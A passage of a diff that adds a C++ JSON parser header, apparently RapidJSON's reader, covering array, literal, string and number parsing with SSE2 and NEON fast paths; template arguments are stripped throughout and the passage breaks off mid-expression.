This useless break is only for making warning and coverage happy + } + + if (parseFlags & kParseTrailingCommasFlag) { + if (is.Peek() == '}') { + if (RAPIDJSON_UNLIKELY(!handler.EndObject(memberCount))) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + is.Take(); + return; + } + } + } + } + + // Parse array: [ value, ... ] + template + void ParseArray(InputStream& is, Handler& handler) { + RAPIDJSON_ASSERT(is.Peek() == '['); + is.Take(); // Skip '[' + + if (RAPIDJSON_UNLIKELY(!handler.StartArray())) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + if (Consume(is, ']')) { + if (RAPIDJSON_UNLIKELY(!handler.EndArray(0))) // empty array + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + return; + } + + for (SizeType elementCount = 0;;) { + ParseValue(is, handler); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + ++elementCount; + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + + if (Consume(is, ',')) { + SkipWhitespaceAndComments(is); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + } + else if (Consume(is, ']')) { + if (RAPIDJSON_UNLIKELY(!handler.EndArray(elementCount))) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + return; + } + else + RAPIDJSON_PARSE_ERROR(kParseErrorArrayMissCommaOrSquareBracket, is.Tell()); + + if (parseFlags & kParseTrailingCommasFlag) { + if (is.Peek() == ']') { + if (RAPIDJSON_UNLIKELY(!handler.EndArray(elementCount))) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + is.Take(); + return; + } + } + } + } + + template + void ParseNull(InputStream& is, Handler& handler) { + RAPIDJSON_ASSERT(is.Peek() == 'n'); + is.Take(); + + if (RAPIDJSON_LIKELY(Consume(is, 'u') && Consume(is, 'l') && Consume(is, 'l'))) { + if (RAPIDJSON_UNLIKELY(!handler.Null())) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + } + else + RAPIDJSON_PARSE_ERROR(kParseErrorValueInvalid, is.Tell()); + } + + template + void ParseTrue(InputStream& is, Handler& handler) { + RAPIDJSON_ASSERT(is.Peek() == 't'); + is.Take(); + + if (RAPIDJSON_LIKELY(Consume(is, 'r') && Consume(is, 'u') && Consume(is, 'e'))) { + if (RAPIDJSON_UNLIKELY(!handler.Bool(true))) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + } + else + RAPIDJSON_PARSE_ERROR(kParseErrorValueInvalid, is.Tell()); + } + + template + void ParseFalse(InputStream& is, Handler& handler) { + RAPIDJSON_ASSERT(is.Peek() == 'f'); + is.Take(); + + if (RAPIDJSON_LIKELY(Consume(is, 'a') && Consume(is, 'l') && Consume(is, 's') && Consume(is, 'e'))) { + if (RAPIDJSON_UNLIKELY(!handler.Bool(false))) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, is.Tell()); + } + else + RAPIDJSON_PARSE_ERROR(kParseErrorValueInvalid, is.Tell()); + } + + template + RAPIDJSON_FORCEINLINE static bool Consume(InputStream& is, typename InputStream::Ch expect) { + if (RAPIDJSON_LIKELY(is.Peek() == expect)) { + is.Take(); + return true; + } + else + return false; + } + + // Helper function to parse four hexadecimal digits in \uXXXX in ParseString(). + template + unsigned ParseHex4(InputStream& is, size_t escapeOffset) { + unsigned codepoint = 0; + for (int i = 0; i < 4; i++) { + Ch c = is.Peek(); + codepoint <<= 4; + codepoint += static_cast(c); + if (c >= '0' && c <= '9') + codepoint -= '0'; + else if (c >= 'A' && c <= 'F') + codepoint -= 'A' - 10; + else if (c >= 'a' && c <= 'f') + codepoint -= 'a' - 10; + else { + RAPIDJSON_PARSE_ERROR_NORETURN(kParseErrorStringUnicodeEscapeInvalidHex, escapeOffset); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN(0); + } + is.Take(); + } + return codepoint; + } + + template + class StackStream { + public: + typedef CharType Ch; + + StackStream(internal::Stack& stack) : stack_(stack), length_(0) {} + RAPIDJSON_FORCEINLINE void Put(Ch c) { + *stack_.template Push() = c; + ++length_; + } + + RAPIDJSON_FORCEINLINE void* Push(SizeType count) { + length_ += count; + return stack_.template Push(count); + } + + size_t Length() const { return length_; } + + Ch* Pop() { + return stack_.template Pop(length_); + } + + private: + StackStream(const StackStream&); + StackStream& operator=(const StackStream&); + + internal::Stack& stack_; + SizeType length_; + }; + + // Parse string and generate String event. Different code paths for kParseInsituFlag. + template + void ParseString(InputStream& is, Handler& handler, bool isKey = false) { + internal::StreamLocalCopy copy(is); + InputStream& s(copy.s); + + RAPIDJSON_ASSERT(s.Peek() == '\"'); + s.Take(); // Skip '\"' + + bool success = false; + if (parseFlags & kParseInsituFlag) { + typename InputStream::Ch *head = s.PutBegin(); + ParseStringToStream(s, s); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + size_t length = s.PutEnd(head) - 1; + RAPIDJSON_ASSERT(length <= 0xFFFFFFFF); + const typename TargetEncoding::Ch* const str = reinterpret_cast(head); + success = (isKey ? handler.Key(str, SizeType(length), false) : handler.String(str, SizeType(length), false)); + } + else { + StackStream stackStream(stack_); + ParseStringToStream(s, stackStream); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + SizeType length = static_cast(stackStream.Length()) - 1; + const typename TargetEncoding::Ch* const str = stackStream.Pop(); + success = (isKey ? handler.Key(str, length, true) : handler.String(str, length, true)); + } + if (RAPIDJSON_UNLIKELY(!success)) + RAPIDJSON_PARSE_ERROR(kParseErrorTermination, s.Tell()); + } + + // Parse string to an output is + // This function handles the prefix/suffix double quotes, escaping, and optional encoding validation. + template + RAPIDJSON_FORCEINLINE void ParseStringToStream(InputStream& is, OutputStream& os) { +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN +#define Z16 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 + static const char escape[256] = { + Z16, Z16, 0, 0,'\"', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '/', + Z16, Z16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,'\\', 0, 0, 0, + 0, 0,'\b', 0, 0, 0,'\f', 0, 0, 0, 0, 0, 0, 0,'\n', 0, + 0, 0,'\r', 0,'\t', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + Z16, Z16, Z16, Z16, Z16, Z16, Z16, Z16 + }; +#undef Z16 +//!@endcond + + for (;;) { + // Scan and copy string before "\\\"" or < 0x20. This is an optional optimzation. + if (!(parseFlags & kParseValidateEncodingFlag)) + ScanCopyUnescapedString(is, os); + + Ch c = is.Peek(); + if (RAPIDJSON_UNLIKELY(c == '\\')) { // Escape + size_t escapeOffset = is.Tell(); // For invalid escaping, report the initial '\\' as error offset + is.Take(); + Ch e = is.Peek(); + if ((sizeof(Ch) == 1 || unsigned(e) < 256) && RAPIDJSON_LIKELY(escape[static_cast(e)])) { + is.Take(); + os.Put(static_cast(escape[static_cast(e)])); + } + else if ((parseFlags & kParseEscapedApostropheFlag) && RAPIDJSON_LIKELY(e == '\'')) { // Allow escaped apostrophe + is.Take(); + os.Put('\''); + } + else if (RAPIDJSON_LIKELY(e == 'u')) { // Unicode + is.Take(); + unsigned codepoint = ParseHex4(is, escapeOffset); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + if (RAPIDJSON_UNLIKELY(codepoint >= 0xD800 && codepoint <= 0xDFFF)) { + // high surrogate, check if followed by valid low surrogate + if (RAPIDJSON_LIKELY(codepoint <= 0xDBFF)) { + // Handle UTF-16 surrogate pair + if (RAPIDJSON_UNLIKELY(!Consume(is, '\\') || !Consume(is, 'u'))) + RAPIDJSON_PARSE_ERROR(kParseErrorStringUnicodeSurrogateInvalid, escapeOffset); + unsigned codepoint2 = ParseHex4(is, escapeOffset); + RAPIDJSON_PARSE_ERROR_EARLY_RETURN_VOID; + if (RAPIDJSON_UNLIKELY(codepoint2 < 0xDC00 || codepoint2 > 0xDFFF)) + RAPIDJSON_PARSE_ERROR(kParseErrorStringUnicodeSurrogateInvalid, escapeOffset); + codepoint = (((codepoint - 0xD800) << 10) | (codepoint2 - 0xDC00)) + 0x10000; + } + // single low surrogate + else + { + RAPIDJSON_PARSE_ERROR(kParseErrorStringUnicodeSurrogateInvalid, escapeOffset); + } + } + TEncoding::Encode(os, codepoint); + } + else + RAPIDJSON_PARSE_ERROR(kParseErrorStringEscapeInvalid, escapeOffset); + } + else if (RAPIDJSON_UNLIKELY(c == '"')) { // Closing double quote + is.Take(); + os.Put('\0'); // null-terminate the string + return; + } + else if (RAPIDJSON_UNLIKELY(static_cast(c) < 0x20)) { // RFC 4627: unescaped = %x20-21 / %x23-5B / %x5D-10FFFF + if (c == '\0') + RAPIDJSON_PARSE_ERROR(kParseErrorStringMissQuotationMark, is.Tell()); + else + RAPIDJSON_PARSE_ERROR(kParseErrorStringInvalidEncoding, is.Tell()); + } + else { + size_t offset = is.Tell(); + if (RAPIDJSON_UNLIKELY((parseFlags & kParseValidateEncodingFlag ? + !Transcoder::Validate(is, os) : + !Transcoder::Transcode(is, os)))) + RAPIDJSON_PARSE_ERROR(kParseErrorStringInvalidEncoding, offset); + } + } + } + + template + static RAPIDJSON_FORCEINLINE void ScanCopyUnescapedString(InputStream&, OutputStream&) { + // Do nothing for generic version + } + +#if defined(RAPIDJSON_SSE2) || defined(RAPIDJSON_SSE42) + // StringStream -> StackStream + static RAPIDJSON_FORCEINLINE void ScanCopyUnescapedString(StringStream& is, StackStream& os) { + const char* p = is.src_; + + // Scan one by one until alignment (unaligned load may cross page boundary and cause crash) + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + while (p != nextAligned) + if (RAPIDJSON_UNLIKELY(*p == '\"') || RAPIDJSON_UNLIKELY(*p == '\\') || RAPIDJSON_UNLIKELY(static_cast(*p) < 0x20)) { + is.src_ = p; + return; + } + else + os.Put(*p++); + + // The rest of string using SIMD + static const char dquote[16] = { '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"' }; + static const char bslash[16] = { '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\' }; + static const char space[16] = { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F }; + const __m128i dq = _mm_loadu_si128(reinterpret_cast(&dquote[0])); + const __m128i bs = _mm_loadu_si128(reinterpret_cast(&bslash[0])); + const __m128i sp = _mm_loadu_si128(reinterpret_cast(&space[0])); + + for (;; p += 16) { + const __m128i s = _mm_load_si128(reinterpret_cast(p)); + const __m128i t1 = _mm_cmpeq_epi8(s, dq); + const __m128i t2 = _mm_cmpeq_epi8(s, bs); + const __m128i t3 = _mm_cmpeq_epi8(_mm_max_epu8(s, sp), sp); // s < 0x20 <=> max(s, 0x1F) == 0x1F + const __m128i x = _mm_or_si128(_mm_or_si128(t1, t2), t3); + unsigned short r = static_cast(_mm_movemask_epi8(x)); + if (RAPIDJSON_UNLIKELY(r != 0)) { // some of characters is escaped + SizeType length; + #ifdef _MSC_VER // Find the index of first escaped + unsigned long offset; + _BitScanForward(&offset, r); + length = offset; + #else + length = static_cast(__builtin_ffs(r) - 1); + #endif + if (length != 0) { + char* q = reinterpret_cast(os.Push(length)); + for (size_t i = 0; i < length; i++) + q[i] = p[i]; + + p += length; + } + break; + } + _mm_storeu_si128(reinterpret_cast<__m128i *>(os.Push(16)), s); + } + + is.src_ = p; + } + + // InsituStringStream -> InsituStringStream + static RAPIDJSON_FORCEINLINE void ScanCopyUnescapedString(InsituStringStream& is, InsituStringStream& os) { + RAPIDJSON_ASSERT(&is == &os); + (void)os; + + if (is.src_ == is.dst_) { + SkipUnescapedString(is); + return; + } + + char* p = is.src_; + char *q = is.dst_; + + // Scan one by one until alignment (unaligned load may cross page boundary and cause crash) + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + while (p != nextAligned) + if (RAPIDJSON_UNLIKELY(*p == '\"') || RAPIDJSON_UNLIKELY(*p == '\\') || RAPIDJSON_UNLIKELY(static_cast(*p) < 0x20)) { + is.src_ = p; + is.dst_ = q; + return; + } + else + *q++ = *p++; + + // The rest of string using SIMD + static const char dquote[16] = { '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"' }; + static const char bslash[16] = { '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\' }; + static const char space[16] = { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F }; + const __m128i dq = _mm_loadu_si128(reinterpret_cast(&dquote[0])); + const __m128i bs = _mm_loadu_si128(reinterpret_cast(&bslash[0])); + const __m128i sp = _mm_loadu_si128(reinterpret_cast(&space[0])); + + for (;; p += 16, q += 16) { + const __m128i s = _mm_load_si128(reinterpret_cast(p)); + const __m128i t1 = _mm_cmpeq_epi8(s, dq); + const __m128i t2 = _mm_cmpeq_epi8(s, bs); + const __m128i t3 = _mm_cmpeq_epi8(_mm_max_epu8(s, sp), sp); // s < 0x20 <=> max(s, 0x1F) == 0x1F + const __m128i x = _mm_or_si128(_mm_or_si128(t1, t2), t3); + unsigned short r = static_cast(_mm_movemask_epi8(x)); + if (RAPIDJSON_UNLIKELY(r != 0)) { // some of characters is escaped + size_t length; +#ifdef _MSC_VER // Find the index of first escaped + unsigned long offset; + _BitScanForward(&offset, r); + length = offset; +#else + length = static_cast(__builtin_ffs(r) - 1); +#endif + for (const char* pend = p + length; p != pend; ) + *q++ = *p++; + break; + } + _mm_storeu_si128(reinterpret_cast<__m128i *>(q), s); + } + + is.src_ = p; + is.dst_ = q; + } + + // When read/write pointers are the same for insitu stream, just skip unescaped characters + static RAPIDJSON_FORCEINLINE void SkipUnescapedString(InsituStringStream& is) { + RAPIDJSON_ASSERT(is.src_ == is.dst_); + char* p = is.src_; + + // Scan one by one until alignment (unaligned load may cross page boundary and cause crash) + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + for (; p != nextAligned; p++) + if (RAPIDJSON_UNLIKELY(*p == '\"') || RAPIDJSON_UNLIKELY(*p == '\\') || RAPIDJSON_UNLIKELY(static_cast(*p) < 0x20)) { + is.src_ = is.dst_ = p; + return; + } + + // The rest of string using SIMD + static const char dquote[16] = { '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"', '\"' }; + static const char bslash[16] = { '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\' }; + static const char space[16] = { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F }; + const __m128i dq = _mm_loadu_si128(reinterpret_cast(&dquote[0])); + const __m128i bs = _mm_loadu_si128(reinterpret_cast(&bslash[0])); + const __m128i sp = _mm_loadu_si128(reinterpret_cast(&space[0])); + + for (;; p += 16) { + const __m128i s = _mm_load_si128(reinterpret_cast(p)); + const __m128i t1 = _mm_cmpeq_epi8(s, dq); + const __m128i t2 = _mm_cmpeq_epi8(s, bs); + const __m128i t3 = _mm_cmpeq_epi8(_mm_max_epu8(s, sp), sp); // s < 0x20 <=> max(s, 0x1F) == 0x1F + const __m128i x = _mm_or_si128(_mm_or_si128(t1, t2), t3); + unsigned short r = static_cast(_mm_movemask_epi8(x)); + if (RAPIDJSON_UNLIKELY(r != 0)) { // some of characters is escaped + size_t length; +#ifdef _MSC_VER // Find the index of first escaped + unsigned long offset; + _BitScanForward(&offset, r); + length = offset; +#else + length = static_cast(__builtin_ffs(r) - 1); +#endif + p += length; + break; + } + } + + is.src_ = is.dst_ = p; + } +#elif defined(RAPIDJSON_NEON) + // StringStream -> StackStream + static RAPIDJSON_FORCEINLINE void ScanCopyUnescapedString(StringStream& is, StackStream& os) { + const char* p = is.src_; + + // Scan one by one until alignment (unaligned load may cross page boundary and cause crash) + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + while (p != nextAligned) + if (RAPIDJSON_UNLIKELY(*p == '\"') || RAPIDJSON_UNLIKELY(*p == '\\') || RAPIDJSON_UNLIKELY(static_cast(*p) < 0x20)) { + is.src_ = p; + return; + } + else + os.Put(*p++); + + // The rest of string using SIMD + const uint8x16_t s0 = vmovq_n_u8('"'); + const uint8x16_t s1 = vmovq_n_u8('\\'); + const uint8x16_t s2 = vmovq_n_u8('\b'); + const uint8x16_t s3 = vmovq_n_u8(32); + + for (;; p += 16) { + const uint8x16_t s = vld1q_u8(reinterpret_cast(p)); + uint8x16_t x = vceqq_u8(s, s0); + x = vorrq_u8(x, vceqq_u8(s, s1)); + x = vorrq_u8(x, vceqq_u8(s, s2)); + x = vorrq_u8(x, vcltq_u8(s, s3)); + + x = vrev64q_u8(x); // Rev in 64 + uint64_t low = vgetq_lane_u64(vreinterpretq_u64_u8(x), 0); // extract + uint64_t high = vgetq_lane_u64(vreinterpretq_u64_u8(x), 1); // extract + + SizeType length = 0; + bool escaped = false; + if (low == 0) { + if (high != 0) { + uint32_t lz = internal::clzll(high); + length = 8 + (lz >> 3); + escaped = true; + } + } else { + uint32_t lz = internal::clzll(low); + length = lz >> 3; + escaped = true; + } + if (RAPIDJSON_UNLIKELY(escaped)) { // some of characters is escaped + if (length != 0) { + char* q = reinterpret_cast(os.Push(length)); + for (size_t i = 0; i < length; i++) + q[i] = p[i]; + + p += length; + } + break; + } + vst1q_u8(reinterpret_cast(os.Push(16)), s); + } + + is.src_ = p; + } + + // InsituStringStream -> InsituStringStream + static RAPIDJSON_FORCEINLINE void ScanCopyUnescapedString(InsituStringStream& is, InsituStringStream& os) { + RAPIDJSON_ASSERT(&is == &os); + (void)os; + + if (is.src_ == is.dst_) { + SkipUnescapedString(is); + return; + } + + char* p = is.src_; + char *q = is.dst_; + + // Scan one by one until alignment (unaligned load may cross page boundary and cause crash) + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + while (p != nextAligned) + if (RAPIDJSON_UNLIKELY(*p == '\"') || RAPIDJSON_UNLIKELY(*p == '\\') || RAPIDJSON_UNLIKELY(static_cast(*p) < 0x20)) { + is.src_ = p; + is.dst_ = q; + return; + } + else + *q++ = *p++; + + // The rest of string using SIMD + const uint8x16_t s0 = vmovq_n_u8('"'); + const uint8x16_t s1 = vmovq_n_u8('\\'); + const uint8x16_t s2 = vmovq_n_u8('\b'); + const uint8x16_t s3 = vmovq_n_u8(32); + + for (;; p += 16, q += 16) { + const uint8x16_t s = vld1q_u8(reinterpret_cast(p)); + uint8x16_t x = vceqq_u8(s, s0); + x = vorrq_u8(x, vceqq_u8(s, s1)); + x = vorrq_u8(x, vceqq_u8(s, s2)); + x = vorrq_u8(x, vcltq_u8(s, s3)); + + x = vrev64q_u8(x); // Rev in 64 + uint64_t low = vgetq_lane_u64(vreinterpretq_u64_u8(x), 0); // extract + uint64_t high = vgetq_lane_u64(vreinterpretq_u64_u8(x), 1); // extract + + SizeType length = 0; + bool escaped = false; + if (low == 0) { + if (high != 0) { + uint32_t lz = internal::clzll(high); + length = 8 + (lz >> 3); + escaped = true; + } + } else { + uint32_t lz = internal::clzll(low); + length = lz >> 3; + escaped = true; + } + if (RAPIDJSON_UNLIKELY(escaped)) { // some of characters is escaped + for (const char* pend = p + length; p != pend; ) { + *q++ = *p++; + } + break; + } + vst1q_u8(reinterpret_cast(q), s); + } + + is.src_ = p; + is.dst_ = q; + } + + // When read/write pointers are the same for insitu stream, just skip unescaped characters + static RAPIDJSON_FORCEINLINE void SkipUnescapedString(InsituStringStream& is) { + RAPIDJSON_ASSERT(is.src_ == is.dst_); + char* p = is.src_; + + // Scan one by one until alignment (unaligned load may cross page boundary and cause crash) + const char* nextAligned = reinterpret_cast((reinterpret_cast(p) + 15) & static_cast(~15)); + for (; p != nextAligned; p++) + if (RAPIDJSON_UNLIKELY(*p == '\"') || RAPIDJSON_UNLIKELY(*p == '\\') || RAPIDJSON_UNLIKELY(static_cast(*p) < 0x20)) { + is.src_ = is.dst_ = p; + return; + } + + // The rest of string using SIMD + const uint8x16_t s0 = vmovq_n_u8('"'); + const uint8x16_t s1 = vmovq_n_u8('\\'); + const uint8x16_t s2 = vmovq_n_u8('\b'); + const uint8x16_t s3 = vmovq_n_u8(32); + + for (;; p += 16) { + const uint8x16_t s = vld1q_u8(reinterpret_cast(p)); + uint8x16_t x = vceqq_u8(s, s0); + x = vorrq_u8(x, vceqq_u8(s, s1)); + x = vorrq_u8(x, vceqq_u8(s, s2)); + x = vorrq_u8(x, vcltq_u8(s, s3)); + + x = vrev64q_u8(x); // Rev in 64 + uint64_t low = vgetq_lane_u64(vreinterpretq_u64_u8(x), 0); // extract + uint64_t high = vgetq_lane_u64(vreinterpretq_u64_u8(x), 1); // extract + + if (low == 0) { + if (high != 0) { + uint32_t lz = internal::clzll(high); + p += 8 + (lz >> 3); + break; + } + } else { + uint32_t lz = internal::clzll(low); + p += lz >> 3; + break; + } + } + + is.src_ = is.dst_ = p; + } +#endif // RAPIDJSON_NEON + + template + class NumberStream; + + template + class NumberStream { + public: + typedef typename InputStream::Ch Ch; + + NumberStream(GenericReader& reader, InputStream& s) : is(s) { (void)reader; } + + RAPIDJSON_FORCEINLINE Ch Peek() const { return is.Peek(); } + RAPIDJSON_FORCEINLINE Ch TakePush() { return is.Take(); } + RAPIDJSON_FORCEINLINE Ch Take() { return is.Take(); } + RAPIDJSON_FORCEINLINE void Push(char) {} + + size_t Tell() { return is.Tell(); } + size_t Length() { return 0; } + const StackCharacter* Pop() { return 0; } + + protected: + NumberStream& operator=(const NumberStream&); + + InputStream& is; + }; + + template + class NumberStream : public NumberStream { + typedef NumberStream Base; + public: + NumberStream(GenericReader& reader, InputStream& s) : Base(reader, s), stackStream(reader.stack_) {} + + RAPIDJSON_FORCEINLINE Ch TakePush() { + stackStream.Put(static_cast(Base::is.Peek())); + return Base::is.Take(); + } + + RAPIDJSON_FORCEINLINE void Push(StackCharacter c) { + stackStream.Put(c); + } + + size_t Length() { return stackStream.Length(); } + + const StackCharacter* Pop() { + stackStream.Put('\0'); + return stackStream.Pop(); + } + + private: + StackStream stackStream; + }; + + template + class NumberStream : public NumberStream { + typedef NumberStream Base; + public: + NumberStream(GenericReader& reader, InputStream& s) : Base(reader, s) {} + + RAPIDJSON_FORCEINLINE Ch Take() { return Base::TakePush(); } + }; + + template + void ParseNumber(InputStream& is, Handler& handler) { + typedef typename internal::SelectIf, typename TargetEncoding::Ch, char>::Type NumberCharacter; + + internal::StreamLocalCopy copy(is); + NumberStream s(*this, copy.s); + + size_t startOffset = s.Tell(); + double d = 0.0; + bool useNanOrInf = false; + + // Parse minus + bool minus = Consume(s, '-'); + + // Parse int: zero / ( digit1-9 *DIGIT ) + unsigned i = 0; + uint64_t i64 = 0; + bool use64bit = false; + int significandDigit = 0; + if (RAPIDJSON_UNLIKELY(s.Peek() == '0')) { + i = 0; + s.TakePush(); + } + else if (RAPIDJSON_LIKELY(s.Peek() >= '1' && s.Peek() <= '9')) { + i = static_cast(s.TakePush() - '0'); + + if (minus) + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + if (RAPIDJSON_UNLIKELY(i >= 214748364)) { // 2^31 = 2147483648 + if (RAPIDJSON_LIKELY(i != 214748364 || s.Peek() > '8')) { + i64 = i; + use64bit = true; + break; + } + } + i = i * 10 + static_cast(s.TakePush() - '0'); + significandDigit++; + } + else + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + if (RAPIDJSON_UNLIKELY(i >= 429496729)) { // 2^32 - 1 = 4294967295 + if (RAPIDJSON_LIKELY(i != 429496729 || s.Peek() > '5')) { + i64 = i; + use64bit = true; + break; + } + } + i = i * 10 + static_cast(s.TakePush() - '0'); + significandDigit++; + } + } + // Parse NaN or Infinity here + else if ((parseFlags & kParseNanAndInfFlag) && RAPIDJSON_LIKELY((s.Peek() == 'I' || s.Peek() == 'N'))) { + if (Consume(s, 'N')) { + if (Consume(s, 'a') && Consume(s, 'N')) { + d = std::numeric_limits::quiet_NaN(); + useNanOrInf = true; + } + } + else if (RAPIDJSON_LIKELY(Consume(s, 'I'))) { + if (Consume(s, 'n') && Consume(s, 'f')) { + d = (minus ? -std::numeric_limits::infinity() : std::numeric_limits::infinity()); + useNanOrInf = true; + + if (RAPIDJSON_UNLIKELY(s.Peek() == 'i' && !(Consume(s, 'i') && Consume(s, 'n') + && Consume(s, 'i') && Consume(s, 't') && Consume(s, 'y')))) { + RAPIDJSON_PARSE_ERROR(kParseErrorValueInvalid, s.Tell()); + } + } + } + + if (RAPIDJSON_UNLIKELY(!useNanOrInf)) { + RAPIDJSON_PARSE_ERROR(kParseErrorValueInvalid, s.Tell()); + } + } + else + RAPIDJSON_PARSE_ERROR(kParseErrorValueInvalid, s.Tell()); + + // Parse 64bit int + bool useDouble = false; + if (use64bit) { + if (minus) + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + if (RAPIDJSON_UNLIKELY(i64 >= RAPIDJSON_UINT64_C2(0x0CCCCCCC, 0xCCCCCCCC))) // 2^63 = 9223372036854775808 + if (RAPIDJSON_LIKELY(i64 != RAPIDJSON_UINT64_C2(0x0CCCCCCC, 0xCCCCCCCC) || s.Peek() > '8')) { + d = static_cast(i64); + useDouble = true; + break; + } + i64 = i64 * 10 + static_cast(s.TakePush() - '0'); + significandDigit++; + } + else + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + if (RAPIDJSON_UNLIKELY(i64 >= RAPIDJSON_UINT64_C2(0x19999999, 0x99999999))) // 2^64 - 1 = 18446744073709551615 + if (RAPIDJSON_LIKELY(i64 != RAPIDJSON_UINT64_C2(0x19999999, 0x99999999) || s.Peek() > '5')) { + d = static_cast(i64); + useDouble = true; + break; + } + i64 = i64 * 10 + static_cast(s.TakePush() - '0'); + significandDigit++; + } + } + + // Force double for big integer + if (useDouble) { + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + d = d * 10 + (s.TakePush() - '0'); + } + } + + // Parse frac = decimal-point 1*DIGIT + int expFrac = 0; + size_t decimalPosition; + if (Consume(s, '.')) { + decimalPosition = s.Length(); + + if (RAPIDJSON_UNLIKELY(!(s.Peek() >= '0' && s.Peek() <= '9'))) + RAPIDJSON_PARSE_ERROR(kParseErrorNumberMissFraction, s.Tell()); + + if (!useDouble) { +#if RAPIDJSON_64BIT + // Use i64 to store significand in 64-bit architecture + if (!use64bit) + i64 = i; + + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + if (i64 > RAPIDJSON_UINT64_C2(0x1FFFFF, 0xFFFFFFFF)) // 2^53 - 1 for fast path + break; + else { + i64 = i64 * 10 + static_cast(s.TakePush() - '0'); + --expFrac; + if (i64 != 0) + significandDigit++; + } + } + + d = static_cast(i64); +#else + // Use double to store significand in 32-bit architecture + d = static_cast(use64bit ? i64 : i); +#endif + useDouble = true; + } + + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + if (significandDigit < 17) { + d = d * 10.0 + (s.TakePush() - '0'); + --expFrac; + if (RAPIDJSON_LIKELY(d > 0.0)) + significandDigit++; + } + else + s.TakePush(); + } + } + else + decimalPosition = s.Length(); // decimal position at the end of integer. + + // Parse exp = e [ minus / plus ] 1*DIGIT + int exp = 0; + if (Consume(s, 'e') || Consume(s, 'E')) { + if (!useDouble) { + d = static_cast(use64bit ? i64 : i); + useDouble = true; + } + + bool expMinus = false; + if (Consume(s, '+')) + ; + else if (Consume(s, '-')) + expMinus = true; + + if (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + exp = static_cast(s.Take() - '0'); + if (expMinus) { + // (exp + expFrac) must not underflow int => we're detecting when -exp gets + // dangerously close to INT_MIN (a pessimistic next digit 9 would push it into + // underflow territory): + // + // -(exp * 10 + 9) + expFrac >= INT_MIN + // <=> exp <= (expFrac - INT_MIN - 9) / 10 + RAPIDJSON_ASSERT(expFrac <= 0); + int maxExp = (expFrac + 2147483639) / 10; + + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + exp = exp * 10 + static_cast(s.Take() - '0'); + if (RAPIDJSON_UNLIKELY(exp > maxExp)) { + while (RAPIDJSON_UNLIKELY(s.Peek() >= '0' && s.Peek() <= '9')) // Consume the rest of exponent + s.Take(); + } + } + } + else { // positive exp + int maxExp = 308 - expFrac; + while (RAPIDJSON_LIKELY(s.Peek() >= '0' && s.Peek() <= '9')) { + exp = exp * 10 + static_cast(s.Take() - '0'); + if (RAPIDJSON_UNLIKELY(exp > maxExp)) + RAPIDJSON_PARSE_ERROR(kParseErrorNumberTooBig, startOffset); + } + } + } + else + RAPIDJSON_PARSE_ERROR(kParseErrorNumberMissExponent, s.Tell()); + + if (expMinus) + exp = -exp; + } + + // Finish parsing, call event according to the type of number. + bool cont = true; + + if (parseFlags & 